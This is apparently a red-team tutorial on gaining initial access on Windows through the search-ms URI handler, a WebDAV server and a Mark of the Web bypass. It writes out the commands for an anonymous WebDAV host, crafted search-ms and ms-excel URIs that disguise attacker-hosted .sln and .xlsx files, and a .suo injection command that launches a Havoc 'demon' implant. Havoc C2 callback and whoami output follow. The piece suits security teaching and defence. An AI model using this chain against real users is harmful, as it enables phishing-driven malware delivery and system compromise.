

Initial Access – search-ms URI Handler

Microsoft search protocol enables clients to initiate connections against an enterprise search service such as SharePoint or WebDav. During these search connections the protocol server will respond with a list of items which are relevant to the search query. The SOAP message protocol is used to format request and response messages during a search query over the HTTP or HTTPS protocol. When the *search-ms* URI handler is used in Microsoft Edge in order to search a file in a target web server this will enforce Windows explorer to start in order to list the results. This behavior can be used in conjunction with phishing in order to enforce target users to visit arbitrary URL's hosting malicious files in order to get initial access.

Microsoft is utilizing Mark of the Web (MotW) in Windows environments to indicate that a file is originated from the Internet. On that basis files are being prevented from download by Windows SmartScreen and prompt the user with an additional message about the risks of opening a non-trusted file. Trellix discovered that a threat actor is combining a chain of techniques in order to bypass Mark of the Web and trick the users to open malicious attachments from a WebDav server using the *ms-search* protocol. Essentially, chaining Windows Search Protocol handler with WebDav and AppDomainManager Injection or with a programming file such as .NET can enable red teams to evade any warnings to the users, bypass controls during implant delivery for initial access as these do not apply Mark of the Web (MotW).

In order to mimic the threat actor approach a WebDav server is required that will host the arbitrary file. Executing the command below will initiate a WebDav server:

```
wsgidav --port=80 --host=0.0.0.0 --root=. --auth=anonymous
```

```

(kali@kali)-[~]
$ wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Running without configuration file.
13:33:02.513 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
13:33:02.514 - INFO      : WsgiDAV/4.3.0 Python/3.11.6 Linux-6.5.0-kali2-amd64-x86_64-with-glibc2.37
13:33:02.515 - INFO      : Lock manager:      LockManager(LockStorageDict)
13:33:02.515 - INFO      : Property manager: None
13:33:02.515 - INFO      : Domain controller: SimpleDomainController()
13:33:02.515 - INFO      : Registered DAV providers by route:
13:33:02.515 - INFO      :   - '/:dir_browser': FilesystemProvider for path '/home/kali/.local/lib/python3.11/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
13:33:02.515 - INFO      :   - '/': FilesystemProvider for path '/tmp' (Read-Write) (anonymous)
13:33:02.515 - WARNING   : Basic authentication is enabled: It is highly recommended to enable SSL.
13:33:02.515 - WARNING   : Share '/' will allow anonymous write access.
13:33:02.515 - WARNING   : Share '/:dir_browser' will allow anonymous write access.
13:33:02.574 - INFO      : Running WsgiDAV/4.3.0 Cherrout/10.0.0 Python/3.11.6
13:33:02.574 - INFO      : Serving on http://0.0.0.0:80 ...

```

WebDav Server

Querying the registry *HKEY_CLASSES_ROOT* will identify all Microsoft handlers which can register a URL. For example using the protocol handler and the URL like *identifier://URL* will cause Windows to call the registered application to handle the action.

```

Get-Item Registry::HKEY_CLASSES_ROOT\ms-* | Out-String | select-string -Pattern "URL" -SimpleMatch

```

```

Select Windows PowerShell
Windows PowerShell
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Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\peter> Get-Item Registry::HKEY_CLASSES_ROOT\ms-* | Out-String | select-string -Pattern "URL" -SimpleMatch

Hive: HKEY_CLASSES_ROOT

Name                Property
----                -
ms-aad-brokerplugin  URL Protocol :
                    (default)   : URL:ms-aad-brokerplugin
ms-actioncenter      URL Protocol :
                    (default)   : URL:ms-actioncenter
ms-appinstaller      URL Protocol :
                    (default)   : URL:ms-appinstaller
ms-apprep            URL Protocol :
                    (default)   : URL:ms-apprep
ms-availablenetworks URL Protocol :
                    (default)   : URL:Available Networks Protocol
                    EditFlags   : 2097152
ms-calculator        URL Protocol :
                    (default)   : URL:ms-calculator
ms-clock             URL Protocol :
                    (default)   : URL:ms-clock
ms-contact-support   URL Protocol :
                    (default)   : URL:ms-contact-support
ms-cortana2          URL Protocol :
                    (default)   : URL:ms-cortana2
ms-cxh               URL Protocol :
                    (default)   : URL:ms-cxh
ms-cxh-full          URL Protocol :
                    (default)   : CloudExperienceHost Launch Protocol
                    EditFlags   : 2097152
ms-default-location  URL Protocol :
                    (default)   : URL:ms-default-location
ms-device-enrollment URL Protocol :
                    (default)   : URL:ms-device-enrollment
ms-drive-to          URL Protocol :
                    (default)   : URL:ms-drive-to
ms-edu-secureassessment URL Protocol :
                    (default)   : URL:ms-edu-secureassessment
ms-eyecontrolspeech  URL Protocol :
                    (default)   : URL:ms-eyecontrolspeech
ms-gamebarservices   URL Protocol :
                    (default)   : URL:ms-gamebarservices


```

Search URI Handler – Registry Search

In a red team scenario the following string will enforce Windows to connect to the remote WebDav server via the HTTP protocol, filter a specific file type (.sln) and hide the actual path with the *displayname* value. A popup notification will appear to the user that the website is trying to open windows explorer. It should be noted that this will not work in other browsers like Firefox unless a browser redirection is utilized.

search-


ms:query=.sln&crumb=location:\\10.0.0.3\DavWWWRoot\application&displayname=pentest laboratories



Search URL Handler – Edge


Since visual studio projects doesn't apply Mark of the Web, therefore injecting an arbitrary command into the .suo (Studio User Options) file will cause code execution if it is blend in with a visual studio solution project file. A proof of concept exists which can be used to perform the command injection.

```
suo_exploit_test.exe input.suo injected.suo cmd /c C:\tmp\demon.x64.exe
```



Search URI Handler – .suo

Using a visual studio solution file will ignore MotW and therefore any warnings that the file is originated from the Internet or from SmartScreen will not presented to the user.



Search URL Handler – Visual Studio Solution

When the target user opens the solution file, visual studio will start as normal and the code will executed in the background.

```

1  using AnyStore.UI;
2  using System;
3  using System.Collections.Generic;
4  using System.Linq;
5  using System.Threading.Tasks;
6  using System.Windows.Forms;
7
8  namespace AnyStore
9  {
10     0 references
11     static class Program
12     {
13         /// <summary>
14         /// The main entry point for the application.
15         /// </summary>
16         [STAThread]
17         0 references
18         static void Main()
19         {
20             Application.EnableVisualStyles();
21             Application.SetCompatibleTextRenderingDefault(false);
22             Application.Run(new frmLogin());
23         }
24     }
25 }

```

Search URI Handler – Visual Studio

As a result a communication will established with the command and control framework.

ID	External	Internal	User	Computer	OS	Process	PID	Last	Health
006ac6c6	10.0.0.2	0.0.0.0	peter	WK01	Windows 10	demon.x64.exe	8648	1s	healthy

Search URI Handler – Implant

It is not uncommon if the target user is a developer to have more rights compare to standard users. Therefore user permissions should be checked during situational awareness by running *whoami* to determine the privileges of the user who executed the file.

```

26/12/2023 10:40:03 Agent 006AC6C6 authenticated as WK01\peter :: [Internal: 0.0.0.0] [Process: demon.x64.exe\8648] [Arch: x64] [Pivot: Direct]

26/12/2023 10:42:30 [Neo] Demon » whoami
[*] [34F2E71C] Tasked demon to get the info from whoami /all without starting cmd.exe
[+] Send Task to Agent [31 bytes]
[+] Received Output [2788 bytes]:

UserName      SID
=====
RED\peter S-1-5-21-955986923-3279314952-43775158-1105

GROUP INFORMATION
=====
Type      SID      Attributes
-----
Everyone  Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group,
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group,
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group,
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group,
Mandatory Label(Medium Mandatory Level) Label S-1-16-8192 Mandatory group, Enabled by default, Enabled group,


Privilege Name      Description      State
=====
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

[*] BOF execution completed

```


Search URI Handler – whoami

It should be noted that the WebClient service will start (by default is not running in Windows 10) and therefore it could be chained with other active directory attacks (depending on the domain configuration) to perform elevation of privileges or lateral movement.




Search URI Handler – WebClient Service

An alternative approach could be to directly serve a malicious executable instead of a `.sln` file.



Search URI Handler – Executable

However, in that occasion Mark of the Web will be applied and a message will inform the user that the file is originated outside of the network and could harm the computer.



Search URI Handler – MotW

However, if the user ignores the message and chooses to run the file, an implant will be received to the C2 framework.


Havoc	View	Attack	Scripts	Help						
ID	External	Internal	User	Computer	OS	Process	PID	Last	Health	
69462f4c	10.0.0.2	0.0.0.0	peter	WK01	Windows 10	demon.x64.exe	2488	1s	healthy	

Search URI Handler – Implant

Instead of using programming files, arbitrary office files could be also used as these will evade also any email filtering solutions.


search-

ms:query=.xlsx&crumb=location:\\10.0.0.3\DavWWWRoot\Update&displayname=Update



Search URI Handler – Excel


When windows explorer opens the computer will connect to the remote WebDav server which hosts the file and once the user opens the file code will executed.



Search URI Handler – Excel via WebDav

Office documents also accept URI's and therefore could be used to trick the user to open the malicious attachment.

`ms-excel:ofv|u|http://10.0.0.3/Book1.xlsx`



Excel Handler

In all of the cases pretext is necessary and important part of social engineering to convince the user to open the file. The above methods could be used as a method to deliver files in order to get initial access by evading common methods such as sending email attachments to users that might be prevented by the email filtering control.

References
